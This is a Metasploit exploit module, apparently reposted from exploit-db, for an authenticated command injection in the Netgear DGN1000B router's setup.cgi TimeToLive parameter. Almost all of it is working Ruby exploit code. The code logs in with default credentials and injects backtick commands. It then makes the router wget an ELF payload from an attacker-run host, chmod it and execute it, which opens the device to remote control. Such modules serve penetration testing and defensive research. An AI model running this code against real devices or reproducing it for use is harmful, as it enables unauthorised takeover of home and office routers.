Netgear DGN1000B – ‘setup.cgi’ Remote Command Execution (Metasploit)

  • 作者： Metasploit
    日期： 2013-04-08
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/24931/
  • ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name'=> 'Netgear DGN1000B setup.cgi Remote Command Execution',
'Description' => %q{
Some Netgear Routers are vulnerable to authenticated OS Command injection. The
vulnerability exists in the web interface, specifically in the setup.cgi component,
when handling the TimeToLive parameter. Default credentials are always a good
starting point, admin/admin or admin/password could be a first try. Since it is a
blind os command injection vulnerability, there is no output for the executed
command when using the cmd generic payload. A ping command against a controlled
system could be used for testing purposes.
},
'Author'=>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References'=>
[
[ 'BID', '57836' ],
[ 'EDB', '24464' ],
[ 'OSVDB', '89985' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-005' ]
],
'DisclosureDate' => 'Feb 06 2013',
'Privileged' => true,
'Platform' => ['linux','unix'],
'Payload'=>
{
'DisableNops' => true
},
'Targets'=>
[
[ 'CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
],
],
'DefaultTarget'=> 1,
))

register_options(
[
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
], self.class)
end


def request(cmd,user,pass,uri)
begin
res = send_request_cgi(
{
'uri'=> uri,
'method' => 'POST',
'authorization' => basic_auth(user,pass),
'vars_post' => {
"UPnP" => "UPnP",
"AdverTime" => rand_text_numeric(2),
"TimeToLive" => "`#{cmd}`",
"save" => "+Anwenden",
"todo" => "save",
"this_file" => "upnp.htm",
"next_file" => "upnp.htm",
"h_UPnP" => "enable",
"hiddenAdverTime" => rand_text_numeric(2),
"hiddenTimeToLive" => rand_text_numeric(1)
}
})
return res
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
end

def exploit
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
uri = '/setup.cgi'
user = datastore['USERNAME']
pass = datastore['PASSWORD']
rhost = datastore['RHOST']
rport = datastore['RPORT']

#
# testing Login
#
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
begin
res = send_request_cgi({
'uri' => uri,
'method'=> 'GET',
'authorization' => basic_auth(user,pass)
})
if res.nil? or res.code == 404
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
if [200, 301, 302].include?(res.code)
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
end

if target.name =~ /CMD/
if not (datastore['CMD'])
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = payload.encoded
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
else
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
end
return
end

#thx to Juan for his awesome work on the mipsbe elf support
@pl = generate_payload_exe
@elf_sent = false

#
# start our server
#
resource_uri = '/' + downfile

if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end

#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end

service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})

datastore['SSL'] = true if ssl_restore
end

#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the Netgear device to download #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)

#not working if we send all command together -> lets take three requests
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end

# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
end
register_file_for_cleanup("/tmp/#{filename}")

#
# chmod
#
cmd = "chmod 777 /tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Netgear device to chmod #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end

#
# execute
#
cmd = "/tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Netgear device to execute #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end

end

# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end

# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
end
end
end

end
    Python